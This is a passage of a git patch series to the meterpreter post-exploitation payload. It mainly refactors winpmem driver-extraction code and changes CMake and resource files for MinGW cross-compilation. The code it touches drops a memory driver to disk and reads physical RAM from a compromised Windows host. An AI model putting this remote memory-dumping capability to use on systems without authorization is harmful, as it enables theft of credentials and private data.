@@ -334,9 +332,6 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
 		start += bytes_read;
 	};
 	return 1;
-
-error:
-	return 0;
 };
 
 static DWORD winpmem_channel_read(Channel *channel, Packet *request,

From 936fa267b46c7619eb518b4cb9a9e456e1e170d8 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 14:09:59 +1000
Subject: [PATCH 11/28] More of the cross compilation dance!

---
 .../source/extensions/winpmem/winpmem.rc      | Bin 1667 -> 3338 bytes
 .../winpmem/winpmem_meterpreter.cpp           | 162 +++++++++++-------
 2 files changed, 96 insertions(+), 66 deletions(-)

diff --git a/c/meterpreter/source/extensions/winpmem/winpmem.rc b/c/meterpreter/source/extensions/winpmem/winpmem.rc
index c7c1a7c565368d871950856d12778969fe1c8b85..2cec0d6aab0a06ea80336d9adc0875f058de4b43 100644
GIT binary patch
literal 3338
zcmd6qTW`}q5QWb(692&@FI1p}7N~e_E)5ZGKy^}qRLO!|+DPD5xu`|rw->(gdebJc
z5iLkqtIe)wZ!>4k%x-?()KyoYBTY5bOc$C{Ct4soK{nS?pY@fmrk+s(ooTFuIzzso
z9U+_1+PWpZA^m_a+ij{#=G639k2s~CwpCV)IboXa66io56sfO)TI%Y(VjZiEv_-$C
zP@j-Q{2r-+B&6?mvmMJ<ymr0~)WP0O#3rC~p>H6y(0PhjAFDrtLl>)?*lBpQ8Q;sn
zcO6l~AW$_$bcnB(DZ+s&cxa;Q%sVyCsifF>&B}+JX=K_}u_4KL@=%79-%97VHkO{@
zHH)=#{P+~lCw%$Xis-pWn`<YB3-gsvjR6y8JXwpd5j!5}5N^51iin~CG1i1#F&qmi
zw(k#0P`I+s9>*{_W>t^%JF6%R8R;=HpzWlL^%6I?!~R{O_N|_?f5f~761Qe^M$D*-
zZ^r_&$7PE=7FeX5V9h&DZLRbvFRMMfo!|50-LuwOtGi%UJhOr2oit<E+#oBJEaGqT
zvBmzWUS#oa9&~uwD$6hTKOryM<mH<R=gz1}cJ{4~Mf$vakUsZ4rJCmCQ5G>yE9aN(
z`)HeI-aF;w+FhQRrp~TIcoM=FFYz|)!i!fc?s)$cw|<}E8S5hz?*CKD7qCvqWcDhs
z*MiBeQrRW<;Fub7SM8%qjnVH^cUzf$uS=uf8#LV3Z~s5(H{q3KcS8;QuBi^OVs8JN
zyQbW%_q?{&-H5+?No>b<xvje!+kgAAv`oACa$kR0dMwM0Nip9O-q`j}=1+3^FZaTI
AZ2$lO

literal 1667
zcmcIk-D;yy5WW|DhgrR8=%VRg=&gyTR@Q2Xv9u5ntH<U*ax5OhrqDOri+!Yhg`H!v
zHd52=g*_nX9B1a6@0*!FzkZu0+_1DPM3Gl;$HY2W!sPfEo+zhfQqc@bDvEWPQV?m$
zo-0FDOjA|#jOL6}ux`UyWV=B;C6*od-a{Nd+>8S+l)v?OwpkIa(*VoMVg=QL!i?O{
zTz}$4Hi6Ry?+z%s=!~b!bw)u;@(q?_EHqW=9iP7D$jL{9^qvxHBm8N}!~%{Y&ZJsl
zg`$Z;!-9~N>MVzETfwp;>*^lG3WI1mA+haw19*Lf{mYp(bz<U21ButOd?&IT0`di|
zj^~Eg-yw{~`-V6|z3V(J3S9p#_(AM1s9T2I*Ij-~1Sf6dm^iMlDu74(*T=?UK1BVA
zkGNFj^svKQ+r0ISHZSKKz3Yhkan26MIpm^Ko}n;!u$E?y8qOrT9tTMBvwh&o^+-e5
z@LVEzcjQ0sjA+md^O5nSWK@_x8Gl~URlFIU8{$PEEhoc^E~h$U*F|Tv%TW_;)aCT4
zXnC4c2Hntl(pyY_Vq$uxT`E}*M|(juO81;@r}BRm<yo^Lc8l^0`mMz~FRG3%{|gEk
Bdb$7r

diff --git a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
index f0e8987d..e741b7b6 100644
--- a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
+++ b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
@@ -74,73 +74,86 @@ extern "C" {
 
 #include "winpmem_meterpreter.h"
 
-int WinPmem_meterpreter::extract_file_(__int64 resource_id, TCHAR *filename)
+int WinPmem_meterpreter::extract_file_(__int64 resource_id, TCHAR* filename)
 {
+	int result = -1;
+	HANDLE out_fd = INVALID_HANDLE_VALUE;
+
 	// Locate the driver resource in the .EXE file.
 	HRSRC hRes = FindResource(hAppInstance, MAKEINTRESOURCE(resource_id), L"FILE");
-	if (hRes == NULL) {
-		dprintf("[WINPMEM] Could not locate driver resource.");
-		goto error;
+	do
+	{
+		if (hRes == NULL)
+		{
+			dprintf("[WINPMEM] Could not locate driver resource.");
+			break;
+		}
+
+		HGLOBAL hResLoad = LoadResource(hAppInstance, hRes);
+		if (hResLoad == NULL)
+		{
+			dprintf("[WINPMEM] Could not load driver resource.");
+			break;
+		}
+
+		VOID* lpResLock = LockResource(hResLoad);
+		if (lpResLock == NULL)
+		{
+			dprintf("[WINPMEM] Could not lock driver resource.");
+			break;
+		}
+
+		DWORD size = SizeofResource(hAppInstance, hRes);
+
+		// Now open the filename and write the driver image on it.
+		HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+
+		if (out_fd == INVALID_HANDLE_VALUE)
+		{
+			dprintf("[WINPMEM] Can not create temporary file.");
+			break;
+		};
+
+		if (!WriteFile(out_fd, lpResLock, size, &size, NULL))
+		{
+			dprintf("[WINPMEM] Can not write to temporary file.");
+			break;
+		}
+
+		result = 0;
+	} while (0);
+
+	if (out_fd != NULL && out_fd != INVALID_HANDLE_VALUE)
+	{
+		CloseHandle(out_fd);
 	}
 
-	HGLOBAL hResLoad = LoadResource(hAppInstance, hRes);
-	if (hResLoad == NULL) {
-		dprintf("[WINPMEM] Could not load driver resource.");
-		goto error;
-	}
-
-	VOID *lpResLock = LockResource(hResLoad);
-	if (lpResLock == NULL) {
-		dprintf("[WINPMEM] Could not lock driver resource.");
-		goto error;
-	}
-
-	DWORD size = SizeofResource(hAppInstance, hRes);
-
-	// Now open the filename and write the driver image on it.
-	HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL,
-		CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-
-	if (out_fd == INVALID_HANDLE_VALUE) {
-		dprintf("[WINPMEM] Can not create temporary file.");
-		goto error_resource;
-	};
-
-	if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
-		dprintf("[WINPMEM] Can not write to temporary file.");
-		goto error_file;
-	}
-	CloseHandle(out_fd);
-
-	return 1;
-
-error_file:
-	CloseHandle(out_fd);
-
-error_resource:
-error :
-	return -1;
-
+	return result;
 };
 
-HANDLE WinPmem_meterpreter::get_fd() {
+HANDLE WinPmem_meterpreter::get_fd()
+{
 	return fd_;
 }
 
-uint64_t WinPmem_meterpreter::get_max_physical_memory() {
+uint64_t WinPmem_meterpreter::get_max_physical_memory()
+{
 	return max_physical_memory_;
 }
 
-int WinPmem_meterpreter64::extract_driver() {
+int WinPmem_meterpreter64::extract_driver()
+{
 	// 64 bit drivers use PTE acquisition by default.
 	default_mode_ = PMEM_MODE_PTE;
 
-	if (!driver_filename_) {
+	if (!driver_filename_)
+	{
 		TCHAR path[MAX_PATH + 1];
 		TCHAR filename[MAX_PATH + 1];
 
 		// Gets the temp path env string (no guarantee it's a valid path).
-		if (!GetTempPath(MAX_PATH, path)) {
+		if (!GetTempPath(MAX_PATH, path))
+		{
 			dprintf("[WINPMEM] Unable to determine temporary path.");
 			return -1;
 		}
@@ -156,16 +169,19 @@ int WinPmem_meterpreter64::extract_driver() {
 	return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
 }
 
-int WinPmem_meterpreter32::extract_driver() {
+int WinPmem_meterpreter32::extract_driver()
+{
 	// 32 bit acquisition defaults to physical device.
 	default_mode_ = PMEM_MODE_PHYSICAL;
 
-	if (!driver_filename_) {
+	if (!driver_filename_)
+	{
 		TCHAR path[MAX_PATH + 1];
 		TCHAR filename[MAX_PATH + 1];
 
 		// Gets the temp path env string (no guarantee it's a valid path).
-		if (!GetTempPath(MAX_PATH, path)) {
+		if (!GetTempPath(MAX_PATH, path))
+		{
 			dprintf("[WINPMEM] Unable to determine temporary path.");
 			return -1;
 		}
@@ -186,7 +202,8 @@ WinPmem_meterpreter *WinPmemFactory()
 	SYSTEM_INFO sys_info = {0};
 
 	GetNativeSystemInfo(&sys_info);
-	switch (sys_info.wProcessorArchitecture) {
+	switch (sys_info.wProcessorArchitecture)
+	{
 	case PROCESSOR_ARCHITECTURE_AMD64:
 		return new WinPmem_meterpreter64();
 
@@ -214,7 +231,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
 	BOOL acquire_pagefile = FALSE;
 
 	status = pmem_handle->install_driver();
-	if (status > 0) {
+	if (status > 0)
+	{
 		pmem_handle->set_acquisition_mode(mode);
 		result = WINPMEM_ERROR_SUCCESS;
 	}
@@ -231,7 +249,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
 
 	// Get the memory ranges.
 	if (!DeviceIoControl(pmem_handle->get_fd(), PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
-		sizeof(info), &size, NULL)) {
+		sizeof(info), &size, NULL))
+	{
 		dprintf("[WINPMEM] Failed to get memory geometry");
 		result = WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY;
 		goto end;
@@ -244,7 +263,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
 
 	WinpmemContext *ctx;
 	// Allocate storage for the Winpmem context
-	if (!(ctx = (WinpmemContext*)calloc(1, sizeof(WinpmemContext)))) {
+	if (!(ctx = (WinpmemContext*)calloc(1, sizeof(WinpmemContext))))
+	{
 		dprintf("[WINPMEM] Failed to allocate memory");
 		result = WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY;
 		goto end;
@@ -300,29 +320,34 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
 {
 	LARGE_INTEGER large_start;
 
-	if (start >= ctx->winpmem->get_max_physical_memory()) {
+	if (start >= ctx->winpmem->get_max_physical_memory())
+	{
 		return 0;
 	};
 
 	// Clamp the region to the top of physical memory.
-	if (end > ctx->winpmem->get_max_physical_memory()) {
+	if (end > ctx->winpmem->get_max_physical_memory())
+	{
 		end = ctx->winpmem->get_max_physical_memory();
 	};
 
-	while (start < end) {
+	while (start < end)
+	{
 		DWORD to_write = (DWORD)min(bufferSize - *bytesRead, end - start);
 		DWORD bytes_read = 0;
 
 		large_start.QuadPart = start;
 
 		if (0xFFFFFFFF == SetFilePointerEx(
-			ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN)) {
+			ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN))
+		{
 			dprintf("[WINPMEM] Failed to seek in the pmem device.");
 			return 0;
 		};
 
 		if (!ReadFile(ctx->winpmem->get_fd(), reinterpret_cast<char*>(buffer)+*bytesRead, to_write, &bytes_read, NULL) ||
-			bytes_read != to_write) {
+			bytes_read != to_write)
+		{
 			dprintf("[WINPMEM] Failed to Read memory.");
 			return 0;
 		};
@@ -334,18 +359,20 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
 	return 1;
 };
 
-static DWORD winpmem_channel_read(Channel *channel, Packet *request,
+static DWORD winpmem_channel_read(Channel* channel, Packet* request,
 	LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
 {
-	WinpmemContext *ctx = (WinpmemContext *)context;
+	WinpmemContext* ctx = (WinpmemContext*)context;
 	uint64_t offset = ctx->offset;
 	*bytesRead = 0;
-	if (ctx->index >= ctx->pmem_info.NumberOfRuns.QuadPart) {
+	if (ctx->index >= ctx->pmem_info.NumberOfRuns.QuadPart)
+	{
 		dprintf("[WINPMEM] Memory end reached.");
 		return ERROR_SUCCESS;
 	}
 
-	if (ctx->pmem_info.Run[ctx->index].start > ctx->offset) {
+	if (ctx->pmem_info.Run[ctx->index].start > ctx->offset)
+	{
 		uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset;
 		DWORD padding_size_max = (DWORD)min(padding_size, bufferSize);
 		ZeroMemory(buffer, padding_size_max);
@@ -353,18 +380,21 @@ static DWORD winpmem_channel_read(Channel *channel, Packet *request,
 		offset += *bytesRead;
 	}
 
-	if (bufferSize - *bytesRead > 0) {
+	if (bufferSize - *bytesRead > 0)
+	{
 		uint64_t end = min(ctx->pmem_info.Run[ctx->index].length, bufferSize - *bytesRead);
 		end += offset;
 		DWORD status = winpmem_meterpreter_copy_memory(offset, end, ctx, buffer, bufferSize, bytesRead);
-		if (status == 0) {
+		if (status == 0)
+		{
 			dprintf("[WINPMEM] Failed in winpmem_meterpreter_copy_memory.");
 		}
 	}
 
 	ctx->offset += *bytesRead;
 
-	if (ctx->offset >= ctx->pmem_info.Run[ctx->index].start + ctx->pmem_info.Run[ctx->index].length) {
+	if (ctx->offset >= ctx->pmem_info.Run[ctx->index].start + ctx->pmem_info.Run[ctx->index].length)
+	{
 		ctx->index++;
 	}
 	return ERROR_SUCCESS;

From 205405effef32d02009727ff82bdd2cbcd98a9de Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 14:18:54 +1000
Subject: [PATCH 12/28] Final winpmem changes.. I think

---
 .../extensions/winpmem/winpmem-mingw.rc       | 66 +++++++++++++++++++
 c/meterpreter/workspace/CMakeLists.txt        | 14 ++--
 .../workspace/ext_server_espia/CMakeLists.txt | 12 ++--
 .../ext_server_incognito/CMakeLists.txt       | 12 ++--
 .../workspace/ext_server_priv/CMakeLists.txt  | 12 ++--
 .../ext_server_unhook/CMakeLists.txt          | 12 ++--
 .../ext_server_winpmem/CMakeLists.txt         | 24 +++++--
 7 files changed, 124 insertions(+), 28 deletions(-)
 create mode 100644 c/meterpreter/source/extensions/winpmem/winpmem-mingw.rc

diff --git a/c/meterpreter/source/extensions/winpmem/winpmem-mingw.rc b/c/meterpreter/source/extensions/winpmem/winpmem-mingw.rc
new file mode 100644
index 00000000..f676f28f
--- /dev/null
+++ b/c/meterpreter/source/extensions/winpmem/winpmem-mingw.rc
@@ -0,0 +1,66 @@
+// Microsoft Visual C++ generated resource script.
+//
+#define APSTUDIO_READONLY_SYMBOLS
+/////////////////////////////////////////////////////////////////////////////
+//
+// Generated from the TEXTINCLUDE 2 resource.
+//
+// #include "afxres.h"
+
+/////////////////////////////////////////////////////////////////////////////
+#undef APSTUDIO_READONLY_SYMBOLS
+
+/////////////////////////////////////////////////////////////////////////////
+// English (United States) resources
+
+#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
+//LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
+
+#ifdef APSTUDIO_INVOKED
+/////////////////////////////////////////////////////////////////////////////
+//
+// TEXTINCLUDE
+//
+
+1 TEXTINCLUDE
+BEGIN
+    "resource.h\0"
+END
+
+2 TEXTINCLUDE
+BEGIN
+    "#include ""afxres.h""\r\n"
+    "\0"
+END
+
+3 TEXTINCLUDE
+BEGIN
+    "\r\n"
+    "\0"
+END
+
+#endif    // APSTUDIO_INVOKED
+
+
+/////////////////////////////////////////////////////////////////////////////
+//
+// FILE
+//
+
+104                     FILE                    "./binaries/winpmem_x64.sys"
+105                     FILE                    "./binaries/winpmem_x86.sys"
+106                     FILE                    "./binaries/fcat.exe"
+#endif    // English (United States) resources
+/////////////////////////////////////////////////////////////////////////////
+
+
+
+#ifndef APSTUDIO_INVOKED
+/////////////////////////////////////////////////////////////////////////////
+//
+// Generated from the TEXTINCLUDE 3 resource.
+//
+
+
+/////////////////////////////////////////////////////////////////////////////
+#endif    // not APSTUDIO_INVOKED
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index c70c02a6..5646d2c5 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -17,8 +17,9 @@ if(USE_STATIC_MSVC_RUNTIMES)
     if(MSVC)
         set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
     else()
-        set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static-libgcc -mwindows -fms-extensions")
-        set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static-libgcc -static-libstdc++ -Wl,--enable-stdcall-fixup -mwindows -fms-extensions -std=c++11 -v")
+        set(CMAKE_MINGW_FLAGS_COMMON "-static-libgcc -mwindows -fms-extensions -Wl,--enable-stdcall-fixup")
+        set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${CMAKE_MINGW_FLAGS_COMMON}")
+        set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${CMAKE_MINGW_FLAGS_COMMON} -static-libstdc++ -std=c++11")
     endif()
 endif()
 
@@ -100,20 +101,21 @@ set(MET_LIBS jpeg)
 set(
     MET_EXTENSIONS
     ext_server_stdapi
+    ext_server_priv
+    ext_server_espia
+    ext_server_incognito
+    ext_server_unhook
+    ext_server_winpmem
 )
 
 if(MSVC)
     set(
         MET_EXTENSIONS
         ${MET_EXTENSIONS}
-        ext_server_espia
-        ext_server_priv
         ext_server_extapi
         ext_server_incognito
         ext_server_lanattacks
         ext_server_peinjector
-        ext_server_winpmem
-        ext_server_unhook
         ext_server_mimikatz
         ext_server_powershell
         ext_server_kiwi
diff --git a/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt b/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt
index 3cffdab4..01de6126 100644
--- a/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt
@@ -8,11 +8,13 @@ add_definitions(
     -D_USRDLL
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP /Gy- /Oy-")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP /Gy- /Oy-")
+endif()
 
 include_directories(../../source/common)
 include_directories(../../source/jpeg-8)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/espia)
 file(GLOB SRC_FILES
@@ -21,8 +23,10 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 set(LINK_LIBS jpeg)
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
diff --git a/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt b/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt
index 8a4e2cdd..6ad783b1 100644
--- a/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt
@@ -10,10 +10,12 @@ add_definitions(
     -D_UNICODE
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/incognito)
 file(GLOB SRC_FILES
@@ -22,8 +24,10 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 set(LINK_LIBS netapi32 mpr)
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
diff --git a/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt b/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt
index 628bb586..42c14c38 100644
--- a/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt
@@ -8,10 +8,12 @@ add_definitions(
     -D_USRDLL
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/priv)
 file(GLOB SRC_FILES
@@ -20,8 +22,10 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 set(LINK_LIBS psapi)
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
diff --git a/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt b/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt
index 77840c8a..0f1b5e34 100644
--- a/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt
@@ -8,10 +8,12 @@ add_definitions(
     -D_USRDLL
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/unhook)
 file(GLOB SRC_FILES
@@ -20,8 +22,10 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)
diff --git a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
index 26ceccf5..cfde87e9 100644
--- a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
@@ -10,21 +10,33 @@ add_definitions(
     -D_UNICODE
 )
 
-set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/winpmem)
 file(GLOB SRC_FILES
     ${SRC_DIR}/*.cpp
-    ${SRC_DIR}/*.rc
-    ${MOD_DEF_DIR}/extension.def
+    ${SRC_DIR}/extension.def
 )
+
+if(MSVC)
+    set(SRC_FILES ${SRC_FILE} ${SRC_DIR}/winpmem.rc)
+else()
+    set(SRC_FILES ${SRC_FILE} ${SRC_DIR}/winpmem-mingw.rc)
+endif()
+
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+else()
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINKER_LANGUAGE "CXX")
+endif()
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)

From e60dd120920ac772a5bf705d82e5b95f8472eb0f Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 14:22:41 +1000
Subject: [PATCH 13/28] Remove dup

---
 c/meterpreter/workspace/CMakeLists.txt | 1 -
 1 file changed, 1 deletion(-)

diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 5646d2c5..d6f15a01 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -113,7 +113,6 @@ if(MSVC)
         MET_EXTENSIONS
         ${MET_EXTENSIONS}
         ext_server_extapi
-        ext_server_incognito
         ext_server_lanattacks
         ext_server_peinjector
         ext_server_mimikatz

From 98598720c9c51810f3654a6116483327dddfcfaf Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 14:36:57 +1000
Subject: [PATCH 14/28] Stupid typo fixed

---
 c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
index cfde87e9..9a79234b 100644
--- a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
@@ -1,6 +1,6 @@
 set(PROJECT_NAME ext_server_winpmem)
 
-project(${PROJECT_NAME} C)
+project(${PROJECT_NAME} C CXX)
 
 include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
 
@@ -24,9 +24,9 @@ file(GLOB SRC_FILES
 )
 
 if(MSVC)
-    set(SRC_FILES ${SRC_FILE} ${SRC_DIR}/winpmem.rc)
+    set(SRC_FILES ${SRC_FILES} ${SRC_DIR}/winpmem.rc)
 else()
-    set(SRC_FILES ${SRC_FILE} ${SRC_DIR}/winpmem-mingw.rc)
+    set(SRC_FILES ${SRC_FILES} ${SRC_DIR}/winpmem-mingw.rc)
 endif()
 
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})

From b55b186e790c02580f70ba0e8f6205aa3ede2244 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 15:38:42 +1000
Subject: [PATCH 15/28] Final pass of working stuff for the day

---
 c/meterpreter/Makefile                        | 21 ++++++++++++---
 .../source/extensions/winpmem/winpmem.cpp     | 15 -----------
 c/meterpreter/workspace/CMakeLists.txt        |  4 +--
 .../ext_server_lanattacks/CMakeLists.txt      | 23 +++++++++++-----
 .../ext_server_winpmem/CMakeLists.txt         | 11 +++++---
 docker/Dockerfile                             | 26 +++++++++++--------
 6 files changed, 59 insertions(+), 41 deletions(-)

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index f6e89996..3239f4f9 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -1,3 +1,4 @@
+ID := $(shell id -u)
 all: meterpreter
 
 clean: meterpreter-x64-clean
@@ -8,10 +9,10 @@ meterpreter: meterpreter-x86 meterpreter-x64
 meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
 
 meterpreter-x86-gen:
-	cmake -S workspace -B workspace/build/mingw-x86 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=Win32 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DDBGTRACE=ON
